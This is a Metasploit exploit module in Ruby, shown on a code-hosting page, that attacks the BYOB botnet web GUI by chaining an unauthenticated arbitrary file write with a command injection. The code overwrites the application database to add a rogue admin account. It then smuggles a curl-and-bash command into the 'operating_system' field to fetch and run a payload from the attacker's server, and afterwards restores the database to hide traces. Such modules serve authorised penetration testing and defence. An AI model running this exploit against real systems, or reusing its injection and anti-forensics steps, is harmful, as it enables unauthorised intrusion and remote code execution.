Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/webapp/byob_unauth_rce.rb
33403 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'sqlite3'
7
8
class MetasploitModule < Msf::Exploit::Remote
9
Rank = ExcellentRanking
10
11
include Msf::Exploit::Remote::HttpClient
12
include Msf::Exploit::Remote::HttpServer
13
prepend Msf::Exploit::Remote::AutoCheck
14
15
def initialize(info = {})
16
super(
17
update_info(
18
info,
19
'Name' => 'BYOB Unauthenticated RCE via Arbitrary File Write and Command Injection (CVE-2024-45256, CVE-2024-45257)',
20
'Description' => %q{
21
This module exploits two vulnerabilities in the BYOB (Build Your Own Botnet) web GUI:
22
1. CVE-2024-45256: Unauthenticated arbitrary file write that allows modification of the SQLite database, adding a new admin user.
23
2. CVE-2024-45257: Authenticated command injection in the payload generation page.
24
25
These vulnerabilities remain unpatched.
26
},
27
'Author' => [
28
'chebuya', # Discoverer and PoC
29
'Valentin Lobstein' # Metasploit module
30
],
31
'License' => MSF_LICENSE,
32
'References' => [
33
['CVE', '2024-45256'],
34
['CVE', '2024-45257'],
35
['URL', 'https://blog.chebuya.com/posts/unauthenticated-remote-command-execution-on-byob/']
36
],
37
'Targets' => [
38
[
39
'Unix/Linux Command Shell', {
40
'Platform' => %w[unix linux],
41
'Arch' => ARCH_CMD,
42
'Privileged' => true
43
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
44
}
45
]
46
],
47
'DisclosureDate' => '2024-08-15',
48
'DefaultTarget' => 0,
49
'DefaultOptions' => { 'SRVPORT' => 5000 },
50
'Notes' => {
51
'Stability' => [CRASH_SAFE],
52
'SideEffects' => [IOC_IN_LOGS],
53
'Reliability' => [REPEATABLE_SESSION]
54
}
55
)
56
)
57
58
register_options(
59
[
60
OptString.new('USERNAME', [false, 'Username for new admin', 'admin']),
61
OptString.new('PASSWORD', [false, 'Password for new admin', nil])
62
]
63
)
64
end
65
66
def primer
67
add_resource('Path' => '/', 'Proc' => proc { |cli, req| on_request_uri_payload(cli, req) })
68
print_status('Payload is ready at /')
69
end
70
71
def on_request_uri_payload(cli, request)
72
handle_request(cli, request, payload.encoded)
73
end
74
75
def handle_request(cli, request, response_payload)
76
print_status("Received request at: #{request.uri} - Client Address: #{cli.peerhost}")
77
78
case request.uri
79
when '/'
80
print_status("Sending response to #{cli.peerhost} for /")
81
send_response(cli, response_payload)
82
else
83
print_error("Request for unknown resource: #{request.uri}")
84
send_not_found(cli)
85
end
86
end
87
88
def check
89
res = send_request_cgi({
90
'method' => 'GET',
91
'uri' => normalize_uri(target_uri.path),
92
'keep_cookies' => true
93
})
94
95
if res
96
doc = res.get_html_document
97
98
unless doc.at('title')&.text&.include?('Build Your Own Botnet') || doc.at('meta[name="description"]')&.attr('content')&.include?('Build Your Own Botnet')
99
return CheckCode::Safe('The target does not appear to be BYOB.')
100
end
101
else
102
return CheckCode::Unknown('The target did not respond to the initial check.')
103
end
104
105
print_good('The target appears to be BYOB.')
106
107
random_data = Rex::Text.rand_text_alphanumeric(32)
108
random_filename = Rex::Text.rand_text_alphanumeric(16)
109
random_owner = Rex::Text.rand_text_alphanumeric(8)
110
random_module = Rex::Text.rand_text_alphanumeric(6)
111
random_session = Rex::Text.rand_text_alphanumeric(6)
112
113
form_data = {
114
'data' => random_data,
115
'filename' => random_filename,
116
'type' => 'txt',
117
'owner' => random_owner,
118
'module' => random_module,
119
'session' => random_session
120
}
121
122
res = send_request_cgi({
123
'method' => 'POST',
124
'uri' => normalize_uri(target_uri.path, 'api', 'file', 'add'),
125
'ctype' => 'application/x-www-form-urlencoded',
126
'vars_post' => form_data,
127
'keep_cookies' => true
128
})
129
130
if res&.code == 500
131
return CheckCode::Vulnerable
132
else
133
case res&.code
134
when 200
135
return CheckCode::Safe
136
when nil
137
return CheckCode::Unknown('The target did not respond.')
138
else
139
return CheckCode::Unknown("The target responded with HTTP status #{res.code}")
140
end
141
end
142
end
143
144
def get_csrf(path)
145
res = send_request_cgi({
146
'method' => 'GET',
147
'uri' => normalize_uri(target_uri.path, path),
148
'keep_cookies' => true
149
})
150
151
fail_with(Failure::UnexpectedReply, 'Could not retrieve CSRF token') unless res
152
153
csrf_token = res.get_html_document.at_xpath("//input[@name='csrf_token']/@value")&.text
154
fail_with(Failure::UnexpectedReply, 'CSRF token not found') if csrf_token.nil?
155
156
csrf_token
157
end
158
159
def register_user(username, password)
160
csrf_token = get_csrf('register')
161
162
res = send_request_cgi({
163
'method' => 'POST',
164
'uri' => normalize_uri(target_uri.path, 'register'),
165
'ctype' => 'application/x-www-form-urlencoded',
166
'vars_post' => {
167
'csrf_token' => csrf_token,
168
'username' => username,
169
'password' => password,
170
'confirm_password' => password,
171
'submit' => 'Sign Up'
172
},
173
'keep_cookies' => true
174
})
175
176
if res.nil?
177
fail_with(Failure::UnexpectedReply, 'No response from the server.')
178
elsif res.code == 302
179
print_good('Registered user!')
180
else
181
fail_with(Failure::UnexpectedReply, "User registration failed: #{res.code}")
182
end
183
end
184
185
def login_user(username, password)
186
csrf_token = get_csrf('login')
187
188
res = send_request_cgi({
189
'method' => 'POST',
190
'uri' => normalize_uri(target_uri.path, 'login'),
191
'ctype' => 'application/x-www-form-urlencoded',
192
'vars_post' => {
193
'csrf_token' => csrf_token,
194
'username' => username,
195
'password' => password,
196
'submit' => 'Log In'
197
},
198
'keep_cookies' => true
199
})
200
201
if res.nil?
202
fail_with(Failure::UnexpectedReply, 'No response from the server.')
203
elsif res.code == 302
204
print_good('Logged in successfully!')
205
else
206
fail_with(Failure::UnexpectedReply, "Login failed: #{res.code}")
207
end
208
end
209
210
def generate_malicious_db
211
mem_db = SQLite3::Database.new(':memory:')
212
213
mem_db.execute <<-SQL
214
CREATE TABLE user (
215
id INTEGER NOT NULL,
216
username VARCHAR(32) NOT NULL,
217
password VARCHAR(60) NOT NULL,
218
joined DATETIME NOT NULL,
219
bots INTEGER,
220
PRIMARY KEY (id),
221
UNIQUE (username)
222
);
223
SQL
224
225
mem_db.execute <<-SQL
226
CREATE TABLE session (
227
id INTEGER NOT NULL,
228
uid VARCHAR(32) NOT NULL,
229
online BOOLEAN NOT NULL,
230
joined DATETIME NOT NULL,
231
last_online DATETIME NOT NULL,
232
public_ip VARCHAR(42),
233
local_ip VARCHAR(42),
234
mac_address VARCHAR(17),
235
username VARCHAR(32),
236
administrator BOOLEAN,
237
platform VARCHAR(5),
238
device VARCHAR(32),
239
architecture VARCHAR(2),
240
latitude FLOAT,
241
longitude FLOAT,
242
new BOOLEAN NOT NULL,
243
owner VARCHAR(120) NOT NULL,
244
PRIMARY KEY (uid),
245
UNIQUE (uid),
246
FOREIGN KEY(owner) REFERENCES user (username)
247
);
248
SQL
249
250
mem_db.execute <<-SQL
251
CREATE TABLE payload (
252
id INTEGER NOT NULL,
253
filename VARCHAR(34) NOT NULL,
254
operating_system VARCHAR(3),
255
architecture VARCHAR(14),
256
created DATETIME NOT NULL,
257
owner VARCHAR(120) NOT NULL,
258
PRIMARY KEY (id),
259
UNIQUE (filename),
260
FOREIGN KEY(owner) REFERENCES user (username)
261
);
262
SQL
263
264
mem_db.execute <<-SQL
265
CREATE TABLE exfiltrated_file (
266
id INTEGER NOT NULL,
267
filename VARCHAR(4096) NOT NULL,
268
session VARCHAR(15) NOT NULL,
269
module VARCHAR(15) NOT NULL,
270
created DATETIME NOT NULL,
271
owner VARCHAR(120) NOT NULL,
272
PRIMARY KEY (id),
273
UNIQUE (filename),
274
FOREIGN KEY(owner) REFERENCES user (username)
275
);
276
SQL
277
278
mem_db.execute <<-SQL
279
CREATE TABLE task (
280
id INTEGER NOT NULL,
281
uid VARCHAR(32) NOT NULL,
282
task TEXT,
283
result TEXT,
284
issued DATETIME NOT NULL,
285
completed DATETIME,
286
session VARCHAR(32) NOT NULL,
287
PRIMARY KEY (id),
288
UNIQUE (uid),
289
FOREIGN KEY(session) REFERENCES session (uid)
290
);
291
SQL
292
293
base64_data = Tempfile.open('database.db') do |file|
294
src_db = SQLite3::Database.new(file.path)
295
backup = SQLite3::Backup.new(src_db, 'main', mem_db, 'main')
296
backup.step(-1)
297
backup.finish
298
299
binary_data = File.binread(file.path)
300
301
Rex::Text.encode_base64(binary_data)
302
end
303
304
base64_data
305
end
306
307
def upload_database_multiple_paths
308
successful_paths = []
309
filepaths = [
310
'/proc/self/cwd/buildyourownbotnet/database.db',
311
'/proc/self/cwd/../buildyourownbotnet/database.db',
312
'/proc/self/cwd/../../../../buildyourownbotnet/database.db',
313
'/proc/self/cwd/instance/database.db',
314
'/proc/self/cwd/../../../../instance/database.db',
315
'/proc/self/cwd/../instance/database.db'
316
]
317
318
filepaths.each do |filepath|
319
form_data = {
320
'data' => @encoded_db,
321
'filename' => filepath,
322
'type' => 'txt',
323
'owner' => Faker::Internet.username,
324
'module' => Faker::App.name.downcase,
325
'session' => Faker::Alphanumeric.alphanumeric(number: 8)
326
}
327
328
res = send_request_cgi(
329
'method' => 'POST',
330
'uri' => normalize_uri(target_uri.path, 'api', 'file', 'add'),
331
'ctype' => 'application/x-www-form-urlencoded',
332
'vars_post' => form_data,
333
'keep_cookies' => true
334
)
335
336
successful_paths << filepath if res&.code == 200
337
end
338
339
successful_paths
340
end
341
342
def on_new_session(session)
343
if session.type == 'meterpreter'
344
binary_content = Rex::Text.decode_base64(@encoded_db)
345
346
print_status('Restoring the database via Meterpreter to avoid leaving traces.')
347
348
successful_restore = false
349
350
@successful_paths.each do |remote_path|
351
remote_file = session.fs.file.new(remote_path, 'wb')
352
remote_file.syswrite(binary_content)
353
remote_file.close
354
successful_restore = true
355
end
356
357
if successful_restore
358
print_good('Database has been successfully restored to its clean state.')
359
else
360
print_error('Failed to restore the database on all attempted paths, but proceeding with the exploitation.')
361
end
362
else
363
print_error('This is not a Meterpreter session. Cannot proceed with database reset, but exploitation continues.')
364
end
365
end
366
367
def exploit
368
# Start necessary services and perform initial setup
369
start_service
370
primer
371
372
# Define or generate admin credentials
373
username = datastore['USERNAME'] || 'admin'
374
password = datastore['PASSWORD'] || Rex::Text.rand_text_alphanumeric(12)
375
376
# Generate and upload the malicious SQLite database
377
print_status('Generating malicious SQLite database.')
378
@encoded_db = generate_malicious_db
379
380
@successful_paths = upload_database_multiple_paths
381
382
if @successful_paths.empty?
383
fail_with(Failure::UnexpectedReply, 'Failed to upload the database from all known paths')
384
else
385
print_good("Malicious database uploaded successfully to the following paths: #{@successful_paths.join(', ')}")
386
end
387
388
# Register the new admin user
389
print_status("Registering a new admin user: #{username}:#{password}")
390
register_user(username, password)
391
392
# Log in with the newly created admin user
393
print_status('Logging in with the new admin user.')
394
login_user(username, password)
395
396
# Prepare the malicious payload and inject it via command injection
397
print_status('Injecting payload via command injection.')
398
399
uri = get_uri.gsub(%r{^https?://}, '').chomp('/')
400
random_filename = ".#{Rex::Text.rand_text_alphanumeric(rand(3..5))}"
401
malicious_filename = "curl$IFS-k$IFS@#{uri}$IFS-o$IFS#{random_filename}&&bash$IFS#{random_filename}"
402
payload_data = {
403
'format' => 'exe',
404
'operating_system' => "nix$(#{malicious_filename})",
405
'architecture' => 'amd64'
406
}
407
408
# Send the command injection request
409
send_request_cgi({
410
'method' => 'POST',
411
'uri' => normalize_uri(target_uri.path, 'api', 'payload', 'generate'),
412
'ctype' => 'application/x-www-form-urlencoded',
413
'vars_post' => payload_data,
414
'keep_cookies' => true
415
}, 5)
416
417
# Keep the web server running to maintain the service
418
service.wait
419
end
420
end
421
422